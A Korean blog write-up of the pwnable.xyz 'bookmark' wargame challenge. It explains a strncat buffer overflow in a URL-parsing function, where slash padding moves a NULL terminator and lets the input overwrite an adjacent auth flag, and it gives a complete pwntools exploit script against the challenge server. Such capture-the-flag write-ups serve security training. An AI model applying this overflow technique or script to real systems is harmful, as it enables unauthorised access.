본문으로 바로가기

pwnable.xyz / bookmark

category Wargame/pwnable.xyz 2020. 4. 8. 09:16

너무 쉬운데 왜 100점인지 모르겠다.

 

.bss:0000000000202200 ; char protocol[256]
.bss:0000000000202200 protocol        db 100h dup(?)          ; DATA XREF: create_url+1E↑o
.bss:0000000000202200                                         ; create_url+3B↑o ...
.bss:0000000000202300 uuid            dq ?                    ; DATA XREF: init_login+39↑o
.bss:0000000000202300                                         ; main+7F↑r
.bss:0000000000202308 auth            dd ?                    ; DATA XREF: main+8C↑w
.bss:0000000000202308                                         ; main:loc_DFF↑r

 

0x100 크기의 protocol이 있고, 뒤에 uuid와 auth가 있다.

 

  if ( !strncmp(protocol"http", 4uLL) )
  {
    if ( protocol[4] == 's' )
      ptr = &protocol[5];
    else
      ptr = &protocol[4];
    
    while ( *ptr == ':' || *ptr == '/' )
      ++ptr;
    *ptr = 0;
    
    printf("Size of url: ",);
    url_size = read_long();
    
    if ( url_size >= 0 && url_size <= 127 )
    {
      buf = malloc(url_size);
      read(0, bufurl_size);
      strncat(protocol, (const char *)buf, 0x100uLL);
    }
    else
    {
      puts("Too large.");
    }
  }
  else
  {
    puts("Not a valid URL.");
  }

 

create_url 함수에서 먼저 http로 시작하는 문자열을 입력받고, ptr을 쭉 증가시키면서 : 또는 / 가 아닌 문자가 처음으로 나올 때 해당 위치에 NULL을 넣는다. 그 후에 최대 0x7F 길이의 문자열을 끝에 붙일 수 있다.

만약 유저가 http를 입력한 뒤 : 또는 / 만으로 이루어진 0x7F 길이의 문자열을 입력으로 넣는다면, NULL은 전체 문자열의 맨 끝 (0x83) 에 적용되고, strncat을 하면 문자열의 길이를 쭉 늘려서 uuid와 auth를 overwrite 할 수 있다.

 

어차피 auth를 0이 아닌 값으로 만들면 되니 /가 127개 있는 문자열을 세 번 붙여주면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30021)
else :
    p = process('./challenge')


def CreateURL(protocol:bytessize:inturl:bytes) :
    if not protocol.startswith(b'http') :
        return

    p.writeafter(b'> 'b'2')
    p.writeafter(b': ', protocol)
    p.writeafter(b': 'str(size).encode())
    p.write(url)

def exploit() :
    CreateURL(b'http'0x7Fb'/'*0x7F)
    CreateURL(b'http'0x7Fb'/'*0x7F)
    CreateURL(b'http'0x7Fb'/'*0x7F)

    p.writeafter(b'> 'b'4')

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / catalog  (0) 2020.04.08
pwnable.xyz / PvP  (0) 2020.04.08
pwnable.xyz / attack  (0) 2020.04.08
pwnable.xyz / rwsr  (0) 2020.01.20
pwnable.xyz / fclose  (0) 2020.01.18